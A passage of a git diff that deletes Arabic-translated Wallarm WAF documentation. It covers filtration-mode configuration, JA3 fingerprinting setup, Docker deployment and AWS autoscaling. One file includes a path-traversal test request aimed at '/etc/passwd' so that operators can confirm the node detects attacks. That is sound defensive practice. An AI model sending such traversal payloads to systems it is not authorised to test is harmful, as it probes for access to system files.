`http` على الطلبات المرسلة إلى الخادم HTTP. -* `server`: تتم تطبيق الواصفات داخل الكتلة `server` على الطلبات المرسلة إلى الخادم الافتراضي. -* `location`: يتم تطبيق الواصفات داخل الكتلة `location` فقط على الطلبات التي تحتوي على هذا المسار الخاص. - -إذا تم تعريف قيم واصفة `wallarm_mode_allow_override` مختلفة في الكتل `http`, `server`, و`location`، فإن التكوين الأكثر محلية له أعلى أولوية. - -**مثال على استخدام الواصفة `wallarm_mode_allow_override`:** - -```bash -http { - - wallarm_mode monitoring; - - server { - server_name SERVER_A; - wallarm_mode_allow_override off; - } - - server { - server_name SERVER_B; - wallarm_mode_allow_override on; - - location /main/login { - wallarm_mode_allow_override strict; - } - } -} -``` - -هذا المثال على التكوين يؤدي إلى التطبيقات التالية لقواعد وضع الفلترة من وحدة تحكم Wallarm: - -1. تتم تجاهل قواعد وضع الفلترة المحددة في وحدة تحكم Wallarm بالنسبة للطلبات المرسلة إلى الخادم الافتراضي `SERVER_A`. لا يوجد الواصفة `wallarm_mode` المحددة في الكتلة `server` التي تتوافق مع الخادم `SERVER_A`، ولهذا السبب يتم تطبيق الوضع `monitoring` المحدد في الكتلة `http` على مثل هذه الطلبات. -2. تتم تطبيق قواعد الفلترة المحددة في وحدة تحكم Wallarm على الطلبات المرسلة إلى الخادم الافتراضي `SERVER_B` ما عدا الطلبات التي تحتوي على المسار `/main/login`. -3. بالنسبة لتلك الطلبات المرسلة إلى الخادم الافتراضي `SERVER_B` والتي تحتوي على المسار `/main/login`، يتم تطبيق قواعد الفلترة المحددة في وحدة تحكم Wallarm فقط إذا قاموا بتعريف وضع فلترة أكثر صرامة من الوضع `monitoring`. - -## مثال على تكوين وضع الفلترة - -لننظر في مثال على تكوين وضع الفلترة الذي يستخدم كل من الطرق المذكورة أعلاه. - -### تعيين وضع الفلترة في ملف تكوين العقدة الفاصلة - -```bash -http { - - wallarm_mode block; - - server { - server_name SERVER_A; - wallarm_mode monitoring; - wallarm_mode_allow_override off; - - location /main/login { - wallarm_mode block; - wallarm_mode_allow_override strict; - } - - location /main/signup { - wallarm_mode_allow_override strict; - } - - location /main/apply { - wallarm_mode block; - wallarm_mode_allow_override on; - } - } -} -``` - -### تعيين وضع الفلترة في وحدة تحكم Wallarm - -* [القاعدة العامة للفلترة](#setting-up-general-filtration-rule-in-wallarm-console): **المراقبة**. -* [قواعد الفلترة](#setting-up-filtration-rules-in-rules-section): - * إذا كان الطلب يلبي الشروط التالية: - * الطريقة: `POST` - * الجزء الأول من المسار: `main` - * الجزء الثاني من المسار: `apply`, - - ثم قم بتطبيق **الوضع الافتراضي** للفلترة. - - * إذا كان الطلب يلبي الشرط التالي: - * الجزء الأول من المسار: `main`, - - ثم قم بتطبيق **وضع الحجب**. - - * إذا كان الطلب يلبي الشروط التالية: - * الجزء الأول من المسار: `main` - * الجزء الثاني من المسار: `login`, - - ثم قم بتطبيق **وضع المراقبة**. - -### أمثلة على الطلبات المرسلة إلى الخادم `SERVER_A` - -أمثلة على الطلبات المرسلة إلى الخادم `SERVER_A` المكون والإجراءات التي تطبقها العقدة الفاصلة من Wallarm هي الآتي: - -* يتم معالجة الطلب الضار مع المسار `/news` ولكن دون إعاقة بسبب الإعداد `wallarm_mode monitoring;` للخادم `SERVER_A`. - -* يتم معالجة الطلب الضار مع المسار `/main` ولكن دون إعاقة بسبب الإعداد `wallarm_mode monitoring;` للخادم `SERVER_A`. - - لا تطبق القاعدة **Blocking** المحددة في وحدة تحكم Wallarm عليه بسبب الضبط `wallarm_mode_allow_override off;` للخادم `SERVER_A`. - -* يتم حجب الطلب الضار مع المسار `/main/login` بسبب الإعداد `wallarm_mode block;` للطلبات مع المسار `/main/login`. - - لا تطبق القاعدة **Monitoring** المحددة في وحدة تحكم Wallarm عليه بسبب الإعداد `wallarm_mode_allow_override strict;` في ملف التكوين للعقدة. - -* يتم حجب الطلب الضار مع المسار `/main/signup` بسبب الإعداد `wallarm_mode_allow_override strict;` للطلبات مع المسار `/main/signup` والقاعدة **Blocking** المحددة في وحدة تحكم Wallarm للطلبات مع المسار `/main`. -* الطلب الضار مع المسار `/main/apply` والطريقة `GET` يتم حجبه بسبب الإعداد `wallarm_mode_allow_override on;` للطلبات مع المسار `/main/apply` والقاعدة **Blocking** المحددة في وحدة تحكم Wallarm للطلبات مع المسار `/main`. -* الطلب الضار مع المسار `/main/apply` والطريقة `POST` يتم حجبه بسبب الإعداد `wallarm_mode_allow_override on;` للطلبات مع المسار `/main/apply`، القاعدة **الافتراضية** المحددة في وحدة تحكم Wallarm، والإعداد `wallarm_mode block;` للطلبات مع المسار `/main/apply` في ملف تكوين العقدة الفاصلة. - -## أفضل الممارسات لتطبيق وضع الفلترة تدريجياً - -لاستقبال جديد لعقدة Wallarm بنجاح، يرجى اتباع هذه التوصيات خطوة بخطوة لتبديل أوضاع الفلترة: - -1. قم بتنشيط العقد الفاصلة من Wallarm في بيئات التشغيل غير الإنتاجية مع تعيين وضع التشغيل في `المراقبة`. -1. قم بتنشيط العقد الفاصلة من Wallarm في بيئة التشغيل الإنتاجية مع تعيين وضع التشغيل في `المراقبة`. -1. احتفظ بتدفق الحركة عبر العقد الفاصلة في كل بيئاتك (بما في ذلك الاختبار والإنتاج) لمدة 7-14 يومًا لإعطاء الخلفية القائمة على السحابة من Wallarm بعض الوقت لتعلم معلومات حول تطبيقك. -1. قم بتمكين وضع `block` لـ Wallarm في جميع بيئاتك غير الإنتاجية واستخدم الاختبارات المؤتمتة أو اليدوية لتأكيد أن التطبيق المحمي يعمل كما هو متوقع. -1. قم بتمكين وضع `block` لـ Wallarm في بيئة التشغيل الإنتاجية واستخدم الطرق المتاحة لتأكيد أن التطبيق يعمل كما هو متوقع. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/enabling-ja3.md b/docs/latest-ar/admin-en/enabling-ja3.md deleted file mode 100644 index bc8b2361d4..0000000000 --- a/docs/latest-ar/admin-en/enabling-ja3.md +++ /dev/null @@ -1,113 +0,0 @@ -# Enabling JA3 Fingerprinting - -This article describes how to enable JA3 fingerprinting for the most popular software such as NGINX and infrastructure such as AWS, Google Cloud, and Azure. - -## Overview - -Attackers frequently employ various techniques to bypass security measures, such as user agent (UA) spoofing and IP rotation. These methods make it challenging to detect behavioral attacks in the unauthenticated traffic. [JA3 fingerprinting](https://www.peakhour.io/learning/fingerprinting/what-is-ja3-fingerprinting/) generates an MD5 hash for specific parameters defined during the TLS negotiation between client and server. This fingerprinting method can enhance the identification of threat actors as part of API session processing and contribute to building a behavioral profile for [API abuse prevention](../api-abuse-prevention/overview.md). - -## NGINX - -An ability to get a JA3 fingerprint from NGINX makes this identification method available in all NGINX-based Wallarm [deployment options](../installation/supported-deployment-options.md). There are two NGINX modules for JA3: - -| Module | Description | Installation | -| - | - | - | -| [nginx-ssl-ja3](https://github.com/fooinha/nginx-ssl-ja3) | Main nginx module for JA3. Has the `THIS IS NOT PRODUCTION` mark. So there is no guarantee of success. | [Instructions](https://github.com/fooinha/nginx-ssl-ja3#compilation-and-installation) | -| [nginx-ssl-fingerprint](https://github.com/phuslu/nginx-ssl-fingerprint) | Second nginx module for JA3. It has the `high performance` label and also has likes and forks. | [Instructions](https://github.com/phuslu/nginx-ssl-fingerprint#quick-start) | - -In both modules, we need to patch OpenSSL and NGINX. - -An example of module installation (from the `nginx-ssl-fingerprint` module): - -``` -# Clone - -$ git clone -b OpenSSL_1_1_1-stable --depth=1 https://github.com/openssl/openssl -$ git clone -b release-1.23.1 --depth=1 https://github.com/nginx/nginx -$ git clone https://github.com/phuslu/nginx-ssl-fingerprint - -# Patch - -$ patch -p1 -d openssl < nginx-ssl-fingerprint/patches/openssl.1_1_1.patch -$ patch -p1 -d nginx < nginx-ssl-fingerprint/patches/nginx.patch - -# Configure & Build - -$ cd nginx -$ ASAN_OPTIONS=symbolize=1 ./auto/configure --with-openssl=$(pwd)/../openssl --add-module=$(pwd)/../nginx-ssl-fingerprint --with-http_ssl_module --with-stream_ssl_module --with-debug --with-stream --with-cc-opt="-fsanitize=address -O -fno-omit-frame-pointer" --with-ld-opt="-L/usr/local/lib -Wl,-E -lasan" -$ make - -# Test - -$ objs/nginx -p . -c $(pwd)/../nginx-ssl-fingerprint/nginx.conf -$ curl -k https://127.0.0.1:8444 -``` - -Example NGINX configuration: - -``` -server { - listen 80; - server_name example.com; - … - # Proxy pass the JA3 fingerprint header to another app. - proxy_set_header X-Client-TLS-FP-Value $http_ssl_ja3_hash; - proxy_set_header X-Client-TLS-FP–Raw-Value $http_ssl_ja3; - - # Proxy the request to the proxied app. - proxy_pass http://app:8080; -} -``` - -## AWS - -You can configure getting [JA3 fingerprints from AWS CloudFront](https://aws.amazon.com/about-aws/whats-new/2022/11/amazon-cloudfront-supports-ja3-fingerprint-headers/). - -Wallarm can integrate with CloudFront to get the `CloudFront-Viewer-JA3-Fingerprint` and `CloudFront-Viewer-TLS` JA3 headers: - -1. Go to the CloudFront console and select the **Origin Request Policies** tab. -1. Click **Create Origin Request Policy** and set the policy details. - - ![CloudFront - creating origin request policy](../images/configuration-guides/ja3/aws-cloudfront-create-origin-request-policy.png) - -1. In the **Actions** section, select **Add Header**. -1. In the **Header Name** field, enter `CloudFront-Viewer-JA3-Fingerprint`. - - ![CloudFront - adding header to origin request policy](../images/configuration-guides/ja3/aws-cloudfront-origin-request-policy-add-header.png) - -1. Click **Create**. Your origin request policy is now created. -1. To attach the created request policy to your CloudFront distribution, follow the steps below. -1. In CloudFront console, select the distribution to which you want to attach the policy. -1. Click the **Edit** button next to **Origin Request Policies**. -1. Select the checkbox next to the policy you created and save the changes. - - ![CloudFront - attach policy to distribution](../images/configuration-guides/ja3/aws-cloudfront-attach-policy-to-distribution.png) - - Your origin request policy is now attached to your CloudFront distribution. Clients that make requests to your distribution will now have the `CloudFront-Viewer-JA3-Fingerprint` header added to their requests. - -## Google Cloud - -You can configure getting JA3 fingerprints from the classic Google Cloud Application Load Balancer by configuring custom header and getting its value via the `tls_ja3_fingerprint` variable: - -1. Go to the Google Cloud console → **Load balancing**. -1. Click **Backends**. -1. Click the name of a backend service and then **Edit**. -1. Click **Advanced configurations**. -1. Under **Custom request headers**, click **Add header**. -1. Enter the **Header name** and set the **Header value** to `tls_ja3_fingerprint`. -1. Save changes. - -See detailed instructions [here](https://cloud.google.com/load-balancing/docs/https/custom-headers). - -Example configuration request: - -``` -PATCH https://compute.googleapis.com/compute/v1/projects/PROJECT_ID/global/backendServices/BACKEND_SERVICE_NAME -"customRequestHeaders": [ - "X-Client-TLS-FP-Value: {tls_ja3_fingerprint}" -] -``` - -## Azure - -For [Azure Wallarm deployment](../installation/cloud-platforms/azure/docker-container.md), use getting a JA3 fingerprint from NGINX method described [above](#nginx). \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-check-operation-en.md b/docs/latest-ar/admin-en/installation-check-operation-en.md deleted file mode 100644 index 132f03c1f0..0000000000 --- a/docs/latest-ar/admin-en/installation-check-operation-en.md +++ /dev/null @@ -1,52 +0,0 @@ -# التحقق من عمل العقدة الفلترة - -[doc-configure-parameters]: ../admin-en/configure-parameters-en.md -[doc-stat-service]: ../admin-en/configure-statistics-service.md - -إذا تم تكوين كل شيء بشكل صحيح، فإن Wallarm تقوم بفلترة الطلبات وتوجيه الطلبات المُفلترة وفقًا لإعدادات ملف التكوين. - -للتحقق من العملية الصحيحة، يجب عليك: - -1. تنفيذ طلب `wallarm-status`. -2. تشغيل هجوم اختباري. - - -## 1. تنفيذ طلب `wallarm-status` - -يمكنك الحصول على إحصائيات عمليات العقدة الفلترة بطلب URL `/wallarm-status`. - -قم بتشغيل الأمر: - -``` -curl http://127.0.0.8/wallarm-status -``` - -سيكون الإخراج مثل: - -``` -{ "requests":0,"attacks":0,"blocked":0,"abnormal":0,"tnt_errors":0,"api_errors":0, -"requests_lost":0,"segfaults":0,"memfaults":0, "softmemfaults":0,"time_detect":0,"db_id":46, -"custom_ruleset_id":16767,"proton_instances": { "total":1,"success":1,"fallback":0,"failed":0 }, -"stalled_workers_count":0,"stalled_workers":[] } -``` - -هذا يعني أن خدمة إحصائيات العقدة الفلترة تعمل بشكل صحيح. - -!!! info "خدمة الإحصائيات" - يمكنك قراءة المزيد حول خدمة الإحصائيات وكيفية تكوينها [هنا][doc-stat-service]. - -## 2. تشغيل هجوم اختباري - -للتحقق من قيام Wallarm بكشف الهجمات بشكل صحيح، أرسل طلبًا ضارًا إلى المورد المحمي. - -على سبيل المثال: - -``` -http:///etc/passwd -``` - -يجب على Wallarm أن تكشف في الطلب [اختراق المسار](../attacks-vulns-list.md#path-traversal). - -الآن، سيزيد عداد عدد الهجمات عند تنفيذ طلب `wallarm-status`، مما يعني أن العقدة الفلترة تعمل بشكل طبيعي. - -للتعرف على المزيد حول إعدادات عقدة فلترة Wallarm، راجع فصل [خيارات التكوين][doc-configure-parameters]. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-docker-en.md b/docs/latest-ar/admin-en/installation-docker-en.md deleted file mode 100644 index ed5056fa58..0000000000 --- a/docs/latest-ar/admin-en/installation-docker-en.md +++ /dev/null @@ -1,136 +0,0 @@ -# تشغيل صورة Docker المبنية على NGINX - -يمكن نشر عقدة التصفية المبنية على NGINX من Wallarm باستخدام [صورة Docker](https://hub.docker.com/r/wallarm/node). تدعم هذه العقدة أنظمة تشغيل المعالجات x86_64 وARM64، والتي يتم التعرف عليها تلقائيًا أثناء التثبيت. توفر هذه المقالة إرشادات حول كيفية تشغيل العقدة من صورة Docker. - -## حالات الاستخدام - ---8<-- "../include/waf/installation/docker-images/nginx-based-use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/requirements-docker-nginx-4.0.md" - -## خيارات تشغيل الحاوية - ---8<-- "../include/waf/installation/docker-running-options.md" - -## تشغيل الحاوية مع إرسال المتغيرات البيئية - -لتشغيل الحاوية: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. تشغيل الحاوية مع العقدة: - - === "US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e NGINX_BACKEND='example.com' -e WALLARM_API_HOST='us1.api.wallarm.com' -p 80:80 wallarm/node:4.10.4-1 - ``` - === "EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e NGINX_BACKEND='example.com' -p 80:80 wallarm/node:4.10.4-1 - ``` - -يمكنك إرسال الإعدادات الأساسية لعقدة التصفية التالية إلى الحاوية عن طريق الخيار `-e`: - ---8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" - -تقوم الأمر بما يلي: - -* يُنشئ ملف `default` بإعدادات NGINX الدنيا ويمرر تكوين عقدة التصفية في دليل الحاوية `/etc/nginx/sites-enabled`. -* يُنشئ ملفات بمعلومات اعتماد عقدة التصفية للوصول إلى سحابة Wallarm في دليل الحاوية `/opt/wallarm/etc/wallarm`: - * `node.yaml` بمعرف عقدة التصفية UUID ومفتاح السر - * `private.key` بمفتاح Wallarm الخاص -* يحمي المورد `http://NGINX_BACKEND:80`. - -## تشغيل الحاوية مع تركيب ملف التكوين - -يمكنك تركيب ملف التكوين المُحضر إلى الحاوية Docker عبر الخيار `-v`. يجب أن يحتوي الملف على الإعدادات التالية: - -* [توجيهات عقدة التصفية][nginx-directives-docs] -* [إعدادات NGINX](https://nginx.org/en/docs/beginners_guide.html) - -لتشغيل الحاوية: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. تشغيل الحاوية مع العقدة: - - === "US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v /configs/default:/etc/nginx/sites-enabled/default -p 80:80 wallarm/node:4.10.4-1 - ``` - === "EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -v /configs/default:/etc/nginx/sites-enabled/default -p 80:80 wallarm/node:4.10.4-1 - ``` - - * خيار `-e` يمرر المتغيرات البيئية المطلوبة التالية إلى الحاوية: - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" - - * خيار `-v` يركب الدليل بملف التكوين `default` إلى دليل الحاوية `/etc/nginx/sites-enabled`. - - ??? info "شاهد مثالاً على الملف المركب بالإعدادات الدنيا" - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - - location / { - - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - !!! info "تركيب ملفات تكوين أخرى" - الدلائل التي يستخدمها NGINX في الحاوية: - - * `/etc/nginx/nginx.conf` - هو ملف إعدادات NGINX الرئيسي. إذا قررت تركيب هذا الملف، خطوات إضافية ضرورية لإعدادات Wallarm الصحيحة: - - 1. تركيب ملف `/etc/nginx/conf.d/wallarm-status.conf`، مع التأكد من مطابقة محتوياته لـ[النموذج](https://github.com/wallarm/docker-wallarm-node/blob/stable/4.10/conf/nginx_templates/wallarm-status.conf.tmpl). - 1. ضمن ملفات تكوين NGINX، تعيين تكوين الخدمة `/wallarm-status` وفقًا لـ[النموذج](https://github.com/wallarm/docker-wallarm-node/blob/stable/4.10/conf/nginx_templates/default.conf.tmpl#L32). - * `/etc/nginx/conf.d` — الإعدادات الشائعة - * `/etc/nginx/sites-enabled` — إعدادات الاستضافة الافتراضية - * `/opt/wallarm/usr/share/nginx/html` — الملفات الثابتة - - إذا لزم الأمر، يمكنك تركيب أي ملفات إلى دلائل الحاوية المذكورة. يجب وصف توجيهات عقدة التصفية في ملف `/etc/nginx/sites-enabled/default`. - -تقوم الأمر بما يلي: - -* يركب ملف `default` داخل دليل الحاوية `/etc/nginx/sites-enabled`. -* يُنشئ ملفات بمعلومات اعتماد عقدة التصفية للوصول إلى سحابة Wallarm في دليل الحاوية `/opt/wallarm/etc/wallarm`: - * `node.yaml` بمعرف عقدة التصفية UUID ومفتاح السر - * `private.key` بمفتاح Wallarm الخاص -* يحمي المورد `http://example.com`. - -## تكوين التسجيل - -يكون التسجيل مُفعلاً بشكل افتراضي. دلائل التسجيل هي: - -* `/var/log/nginx` — سجلات NGINX -* `/opt/wallarm/var/log/wallarm` — [سجلات عقدة Wallarm][logging-instr] - -## اختبار عمل عقدة Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## تكوين حالات الاستخدام - -يجب أن يصف ملف التكوين المركب إلى الحاوية Docker تكوين عقدة التصفية في [التوجيهات المتاحة][nginx-directives-docs]. فيما يلي بعض خيارات تكوين عقدة التصفية المُستخدمة بشكل شائع: - ---8<-- "../include/waf/installation/common-customization-options-docker-4.4.md" \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md b/docs/latest-ar/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md deleted file mode 100644 index 5844686ea4..0000000000 --- a/docs/latest-ar/admin-en/installation-guides/amazon-cloud/autoscaling-group-guide.md +++ /dev/null @@ -1,170 +0,0 @@ -[link-doc-ami-creation]: create-image.md -[link-doc-lb-guide]: load-balancing-guide.md - -[link-ssh-keys-guide]: ../../../installation/cloud-platforms/aws/ami.md#1-create-a-pair-of-ssh-keys -[link-security-group-guide]: ../../../installation/cloud-platforms/aws/ami.md#2-create-a-security-group - -[link-doc-as-faq]: https://aws.amazon.com/autoscaling/faqs/ - -[img-create-lt-wizard]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/create-launch-template.png -[img-create-asg-wizard]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/create-asg-with-template.png -[img-asg-wizard-1]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/asg-wizard-1.png -[img-asg-increase-policy]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/group-size-increase.png -[img-asg-decrease-policy]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/group-size-decrease.png -[img-alarm-example]: ../../../images/installation-ami/auto-scaling/common/autoscaling-group-guide/alarm-example.png -[img-check-asg-in-cloud]: ../../../images/cloud-node-status.png - -[anchor-lt]: #1-creating-a-launch-template -[anchor-asg]: #2-creating-an-auto-scaling-group - - -# إعداد توسيع العقدة الشاشة التلقائي - -!!! info "الحقوق المطلوبة" - قبل الشروع في ضبط التوسع التلقائي، تأكد أن حسابك في Amazon AWS ممنوح أحد الحقوق التالية: - - * `AutoScalingFullAccess` - * `AutoScalingConsoleFullAccess` - -لإعداد توسع عقدة الفلترة تلقائيًا، اتبع الخطوات التالية: -1. [إنشاء قالب نشر][anchor-lt] -2. [إنشاء مجموعة توسع تلقائي][anchor-asg] - -## 1. إنشاء قالب النشر - -يحدد قالب النشر نوع العينة المستخدمة أثناء نشر صورة الجهاز الأمازون (AMI) ويعد بعض الخصائص العامة للجهاز الوهمي. - -أنشئ قالب النشر عبر الخطوات التالية: - -1. اذهب إلى تبويب **قوالب النشر** على لوحة التحكم Amazon EC2 باستخدام زر **إنشاء قالب نشر**. - -2. أدخل اسم القالب في الحقل **اسم قالب النشر**. - -3. اختر [صورة الجهاز الأمازون المنشأة في السابق][link-doc-ami-creation]. لفعل هذا، اضغط على الرابط **البحث عن AMI** وحدد الصورة المطلوبة من الكتالوج **AMIs الخاصة بي**. - -4. اختر نوع العينة لإطلاق جهاز الفلترة الوهمي من القائمة **نوع العينة**. - - !!! warning "اختر نوع العينة المناسب" - يجب اختيار نفس نوع العينة الذي استخدمته عندما قمت ببداية ضبط عقدة الفلترة أو نوع أكثر قوة. - - استخدام نوع العينة الأقل قد يؤدي إلى حدوث مشاكل في عمل العقدة. - -5. اختر اسم [زوج المفاتيح الذي تم إنشاؤه في السابق][link-ssh-keys-guide] للوصول إلى عقدة الفلترة من القائمة **اسم المفتاح الزوج**. - -6. اختر [مجموعة الأمان التي تم إنشاؤها في السابق][link-security-group-guide] من القائمة **مجموعات الأمان**. - -7. اضغط على الزر **إنشاء قالب نشر**. - - ![إنشاء قالب نشر][img-create-lt-wizard] - -انتظر حتى يكتمل عملية إنشاء القالب. - -بعد إنشاء قالب النشر، يمكنك الشروع في إنشاء مجموعة توسع تلقائي. - -## 2. إنشاء مجموعة توسع تلقائي - -!!! info "اختيار طريقة التوسع التلقائي" - هذا القسم يصف عملية إنشاء مجموعة توسع تلقائي باستخدام طريقة التوسع التلقائي EC2. - - يمكنك أيضًا استخدام طريقة التوسع التلقائي AWS. - - إذا أردت الاطلاع على الأسئلة الشائعة حول طرق التوسع التلقائي من أمازون، انتقل إلى هذا [الرابط][link-doc-as-faq]. - -لإنشاء مجموعة توسع تلقائي، اتبع الخطوات التالية: - -1. اذهب إلى تبويب **مجموعات التوسع التلقائي** على لوحة التحكم Amazon EC2 واضغط على زر **إنشاء مجموعة توسع تلقائي**. - -2. اختر أوبشن **قالب النشر**، ثم اختر [قالب النشر المنشأ سابقًا][anchor-lt] من القائمة وانقر على زر **الخطوة التالية**. - - ![إنشاء مجموعة توسع تلقائي][img-create-asg-wizard] - -3. قم بإدخال اسم مجموعة التوسع التلقائي المطلوب في حقل **اسم المجموعة**. - -4. اختر الإصدار **الأخير** لقالب النشر من القائمة **نسخة قالب النشر**. - -5. اختر نوع العينة المطلوب لمجموعة التوسع التلقائي عن طريق اختيار أحد أوبشنات **تكوين الأسطول**. - - إذا تبعت هذا الدليل عند إنشاء قالب نشر وتم تحديد نوع العينة لإطلاق الجهاز الوهمي، ثم يمكنك استخدم أوبشن **الالتزام بقالب النشر**. - - !!! info "حدد نوع العينة المناسب" - يمكنك أيضًا اختيار أوبشن **دمج خيارات الشراء والعينات** إذا لم يتم تحديد نوع العينة في قالب النشر أو إذا كنت ترغب في اختيار أنواع عينات متعددة ومختلفة للتوسع التلقائي. - - حدد نوع العينة نفسها التي استخدمتها عندما قمت بضبط عقدة الفلترة في البداية أو نوعًا أكثر قوة. استخدام نوع أقل قد يؤدي إلى مشاكل في عمل العقدة. - -6. أدخل حجم مجموعة التوسع التلقائي الأولية في حقل **حجم المجموعة** (على سبيل المثال، عينتين). - -7. حدد VPC الصحيح من القائمة المنسدلة **الشبكة**. - -8. حدد الشبكات الفرعية الصحيحة من القائمة المنسدلة **الشبكات الفرعية**. - - !!! warning "توفير اتصال بالإنترنت للعقدة الشاشة" - يتطلب العقد الشاشة الوصول إلى خادم Wallarm API للعمل الصحيح. باختار خادم Wallarm API يعتمد على السحابة Wallarm التي تستعملها: - - * إذا كنت تستعمل السحابة US، يجب منح العقدة الوصول إلى `https://us1.api.wallarm.com`. - * إذا كنت تستعمل السحابة EU، يجب منح العقدة الوصول إلى `https://api.wallarm.com`. - - تأكد من اختيار VPC وشبكات فرعية صحيحة و[تهيئة مجموعة أمان][link-security-group-guide] بطريقة لا تمنع وصول العقدة الفلترة إلى خوادم Wallarm API. - - ![إعدادات مجموعة التوسع التلقائي العامة][img-asg-wizard-1] - -9. اذهب إلى صفحة **تهيئة السياسات التوسع** بالنقر على زر **التالي: تهيئة السياسات التوسع**. - -10. اختر أوبشن **استخدم سياسات التوسع لضبط سعة هذه المجموعة** لتمكين التوسع التلقائي. - -11. أدخل حجم مجموعة التوسع التلقائي الأدنى والأقصى. - - !!! info "حجم مجموعة التوسع التلقائي" - لاحظ أن حجم مجموعة التوسع التلقائي الأدنى يمكن أن تكون أقل من حجم المجموعة الأولية المحددة في الخطوة السادسة. - -12. فعل وضع تهيئة سياسات التدرج بتحديد خيار **توسع مجموعة التوسع بسياسات التدرج أو البساطة**. - -13. تهيئة سياسة زيادة حجم المجموعة باستخدام فئة المعايير **زيادة حجم المجموعة**. - - ![سياسة زيادة حجم مجموعة التوسع التلقائي][img-asg-increase-policy] - - 1. إذا كان ضروريًا، حدد اسم سياسة زيادة حجم المجموعة باستخدام المعيار **الاسم**. - - 2. حدد الحدث من **تنفيذ السياسة عند** لتحديد الحدث الذي سيتسبب في زيادة حجم المجموعة. إذا لم تقم بإنشاء أي أحداث في السابق، قم بالضغط على زر **إضافة إنذار** لإنشاء حدث. - - 3. يمكنك ضبط اسم الحدث، والمقياس المشروف عليه، والإشعارات حول حدوث الحدث. - - !!! info "الأدوار المطلوبة لتهيئة الإشعارات" - تحتاج حسابك في Amazon AWS إلى **AutoScalingNotificationAccessRole** لتهيئة الإشعارات. - - !!! info "مثال" - يمكنك تعيين حدث باسم **استهلاك عالي للمعالج** عند الوصول إلى حمل قدره 60% على المعالج بالمتوسط خلال خمس دقائق: - - ![مثال على الإنذار][img-alarm-example] - - !!! info "المقاييس القياسية المتوفرة للسحابة أمازون" - * استهلاك المعالج (بالنسبة المئوية) - * القراءة من القرص (بالبايت) - * الكتابة على القرص (بالبايت) - * عدد عمليات القراءة من القرص - * عدد عمليات الكتابة على القرص - * الشبكة الداخلة (بالبايت) - * الشبكة الخارجة (بالبايت) - - 4. اضغط على الزر **إنشاء إنذار** لإنشاء حدث. - - 5. حدد الإجراء الذي يجب متخذه في حالة تنفيذ حدث **استهلاك عالي للمعالج**. على سبيل المثال، قد تكوين سياسة التوسع التلقائي لإضافة (باستخدام الإجراء **إضافة**) عينة واحدة عند تنفيذ الحدث. - - 6. قد يتم تنفيذ الحدث مبكرًا إذا حدثت نتائج واضحة في استهلاك الموارد بعد إضافة عينة جديدة. لتجنب هذا، يمكنك ضبط فترة الاحماء بالثواني باستخدام المعيار **حاجة العينات إلى `X` ثوانٍ للاحترار**. لن يتم تنفيذ أي حداث في هذه الفترة من الوقت. - -14. بطريقة مماثلة، استخدم فئة المعايير **تقليل حجم المجموعة** لتهيئة سياسة تقليل حجم المجموعة. - - ![سياسة تقليل حجم المجموعة][img-asg-decrease-policy] - -15. إذا كان ضروريًا، قم بتهيئة الإشعارات والعلامات لمجموعة التوسع التلقائي أو اذهب إلى مراجعة التغييرات بالضغط على زر **مراجعة**. - -16. تأكد من صحة جميع المعايير المختارة ثم ابدأ عملية إنشاء مجموعة التوسع التلقائي بالضغط على زر **إنشاء مجموعة التوسع التلقائي**. - -سيتم إطلاق العدد المحدد من العينات تلقائيًا عند إتمام عملية إنشاء مجموعة التوسع التلقائي بنجاح. - -يمكنك التأكد أن مجموعة التوسع التلقائي قد تم إنشائها بصورة صحيحة عبر فحص عدد العينات المطلقة في المجموعة ومقارنة هذه البيانات مع عدد العقد الشاشة المتصلة بالسحابة Wallarm. - -يمكنك القيام بذلك باستخدام Wallarm Console. على سبيل المثال، إذا كان هناك عينتين تعملان مع العقد الشاشة في نفس الوقت، ستقوم Wallarm Console بعرض هذا العدد للعقدة الشاشة المناسبة في القسم **العقد**. - -![التأكد من حالة مجموعة التوسع التلقائي][img-check-asg-in-cloud] - -يمكنك الآن البدء ب[إنشاء وتهيئة][link-doc-lb-guide] موازن الحمل. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md b/docs/latest-ar/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md deleted file mode 100644 index c48d483999..0000000000 --- a/docs/latest-ar/admin-en/installation-guides/amazon-cloud/autoscaling-overview.md +++ /dev/null @@ -1,37 +0,0 @@ -# نظرة عامة على تهيئة توسيع نطاق تلقائي لعقد التصفية في AWS - -يمكنك تهيئة توسيع نطاق تلقائي لعقد التصفية Wallarm لضمان قدرة العقد على التعامل مع تقلبات حركة المرور، إذا وجدت. يسمح تمكين توسيع النطاق التلقائي بمعالجة الطلبات الواردة إلى التطبيق باستخدام عقد التصفية حتى عندما تزداد حركة المرور بشكل كبير. - -تدعم سحابة Amazon الطرق التالية لتوسيع النطاق 